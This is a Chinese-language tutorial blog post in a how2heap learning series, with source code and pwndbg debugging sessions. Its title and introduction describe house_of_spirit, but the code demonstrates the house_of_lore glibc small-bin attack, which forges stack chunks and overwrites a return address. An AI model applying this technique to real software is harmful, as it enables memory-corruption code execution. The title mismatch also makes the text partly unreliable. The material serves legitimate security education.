从零开始学howtoheap:fastbins的house_of_spirit攻击3

2024-02-13 08:28

本文主要是介绍从零开始学howtoheap:fastbins的house_of_spirit攻击3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_lore演示程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }int main(int argc, char * argv[]){intptr_t* stack_buffer_1[4] = {0};intptr_t* stack_buffer_2[3] = {0};fprintf(stderr, "定义了两个数组");fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);intptr_t *victim = malloc(100);fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);intptr_t *victim_chunk = victim-2;//chunk 开始的位置fprintf(stderr, "在栈上伪造一块 fake chunk\n");fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");stack_buffer_1[0] = 0;stack_buffer_1[1] = 0;stack_buffer_1[2] = victim_chunk;fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");stack_buffer_1[3] = (intptr_t*)stack_buffer_2;stack_buffer_2[2] = (intptr_t*)stack_buffer_1;void *p5 = malloc(1000);fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);free((void*)victim);fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);void *p2 = malloc(1200);fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");victim[1] = (intptr_t)stack_buffer_1;fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");void *p3 = malloc(100);fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");char *p4 = malloc(100);fprintf(stderr, "p4 = malloc(100)\n");fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);fprintf(stderr, "\np4 在栈上 %p\n", p4);intptr_t sc = (intptr_t)jackpot;memcpy((p4+40), &sc, 8);
}

3.调试house_of_lore

3.1 获得可执行程序 

gcc -g house_of_lore.c -o house_of_lore

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_lore
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_lore...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x603010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8p4 在栈上 0x7fffffffe5a0
Nice jump d00d
[Inferior 1 (process 99) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第39行并走起

​ 在前面的技术中,我们已经知道怎样去伪造一个fake chunk,接下来,我们要尝试伪造一条small bins链。

​ 首先创建两个chunk,第一个是我们的victim chunk,请确保它是一个small chunk,第二个随意,只是为了确保在free时victim chunk不会被合并进top chunk 里。然后,在栈上伪造两个fake chunk,让fake chunk 1的fd指向victim chunk,bk指向fake chunk 2,fake chunk 2的fd指向fake chunk 1,这样一个small bin链就差不多了。

​ 如下图所示。

pwndbg> b 39
Breakpoint 1 at 0x40094e: file house_of_lore.c, line 39.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)Breakpoint 1, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:40
40        fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x13RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x13R10  0x5R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x40094e (main+556) ◂— mov    rax, qword ptr [rip + 0x20170b]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x40094e <main+556>    mov    rax, qword ptr [rip + 0x20170b] <0x602060>0x400955 <main+563>    mov    rdx, qword ptr [rbp - 0x80]0x400959 <main+567>    mov    esi, 0x400e780x40095e <main+572>    mov    rdi, rax0x400961 <main+575>    mov    eax, 00x400966 <main+580>    call   fprintf@plt <0x4005b0>0x40096b <main+585>    mov    edi, 0x4b00x400970 <main+590>    call   malloc@plt <0x4005c0>0x400975 <main+595>    mov    qword ptr [rbp - 0x68], rax0x400979 <main+599>    mov    rax, qword ptr [rip + 0x2016e0] <0x602060>0x400980 <main+606>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c35 36   fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");37   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);38   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);39 ► 40   fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);41   void *p2 = malloc(1200);42 43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 ◂— 0x0
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fc ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40094e main+556f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:39
pwndbg> parseheapaddr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> parseheap

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
 

victim chunk:

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None

fake chunk2:

0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
fd->fake chunk1

0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d


fake chunk1:

0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

fd->victim chunk

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

bk->fake chunk2

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

3.3.2 设置断点第46行并走起

Glibc在malloc的时候会检查small bin链表中第二块chunk的bk指针是否指向第一块,来发现对small bins的破坏。为了绕过这个检查,所以才需要同时伪造bin中的前两个chunk。

​ 接下来释放掉victim chunk,它首先会被放到fast bin中,这时候我们再去malloc一个large chunk,那么就会触发fast bin的合并,然后victim chunk就放到了unsorted bin中,最终被整理到small bin中。

pwndbg> b 46
Breakpoint 2 at 0x4009e1: file house_of_lore.c, line 46.
pwndbg> c
Continuing.
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8Breakpoint 2, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:47
47        fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x1cRBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1cR10  0x0R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x4009e1 (main+703) ◂— mov    rax, qword ptr [rip + 0x201678]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009e1 <main+703>    mov    rax, qword ptr [rip + 0x201678] <0x602060>0x4009e8 <main+710>    mov    rcx, rax0x4009eb <main+713>    mov    edx, 0x5f0x4009f0 <main+718>    mov    esi, 10x4009f5 <main+723>    mov    edi, 0x400f500x4009fa <main+728>    call   fwrite@plt <0x4005e0>0x4009ff <main+733>    mov    rax, qword ptr [rbp - 0x80]0x400a03 <main+737>    lea    rdx, [rax + 8]0x400a07 <main+741>    lea    rax, [rbp - 0x30]0x400a0b <main+745>    mov    qword ptr [rdx], rax0x400a0e <main+748>    mov    rax, qword ptr [rip + 0x20164b] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c42 43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);46 ► 47   fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");48   victim[1] = (intptr_t)stack_buffer_1;49 50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");52   void *p3 = malloc(100);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009e1 main+703f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:46
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
largebins
empty
pwndbg> 

3.3.3 设置断点第53行并走起 

​ 接下来的第一个相应大小的malloc,会返回victim chunk的地址

pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bkBreakpoint 4, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:54
54        fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...RDI  0x5RSI  0x7ffff7dd1b48 (main_arena+40) ◂— 0x0R8   0x4eR9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x400a58 (main+822) ◂— mov    rax, qword ptr [rip + 0x201601]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400a58 <main+822>    mov    rax, qword ptr [rip + 0x201601] <0x602060>0x400a5f <main+829>    mov    rcx, rax0x400a62 <main+832>    mov    edx, 0x390x400a67 <main+837>    mov    esi, 10x400a6c <main+842>    mov    edi, 0x4010380x400a71 <main+847>    call   fwrite@plt <0x4005e0>0x400a76 <main+852>    mov    edi, 0x640x400a7b <main+857>    call   malloc@plt <0x4005c0>0x400a80 <main+862>    mov    qword ptr [rbp - 0x58], rax0x400a84 <main+866>    mov    rax, qword ptr [rip + 0x2015d5] <0x602060>0x400a8b <main+873>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c49 50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");52   void *p3 = malloc(100);53 ► 54   fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");55   char *p4 = malloc(100);56   fprintf(stderr, "p4 = malloc(100)\n");57 58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);59 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400a58 main+822f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:53
pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/10gx 0x6030100
0x6030100:      Cannot access memory at address 0x6030100
pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

 pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None

pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

3.3.4 设置断点第63行并走起 

pwndbg> b 63
Breakpoint 3 at 0x400aff: file house_of_lore.c, line 63.
pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8p4 在栈上 0x7fffffffe5a0Breakpoint 3, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:63
63      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7fffffffe5c8 —▸ 0x4006f6 (jackpot) ◂— push   rbpRDI  0x2RSI  0x7fffffffbe90 ◂— 0xe6a89ce52034700aR8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1dR10  0x0R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x400aff (main+989) ◂— mov    rcx, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400aff <main+989>             mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>0x400b03 <main+993>             xor    rcx, qword ptr fs:[0x28]0x400b0c <main+1002>            je     main+1009 <0x400b13>↓0x400b13 <main+1009>            leave  0x400b14 <main+1010>            ret    0x400b15                        nop    word ptr cs:[rax + rax]0x400b1f                        nop    0x400b20 <__libc_csu_init>      push   r150x400b22 <__libc_csu_init+2>    push   r140x400b24 <__libc_csu_init+4>    mov    r15d, edi0x400b27 <__libc_csu_init+7>    push   r13
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);59 60   fprintf(stderr, "\np4 在栈上 %p\n", p4);61   intptr_t sc = (intptr_t)jackpot;62   memcpy((p4+40), &sc, 8);► 63 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
03:0018│      0x7fffffffe538 —▸ 0x4006f6 (jackpot) ◂— push   rbp
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400aff main+989f 1           4006f6 jackpotf 2     7fffffffe6a8f 3     7fffffffe6a8f 4        1f7b99608
Breakpoint /ctf/work/how2heap/house_of_lore.c:63
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/40gx 0x603000
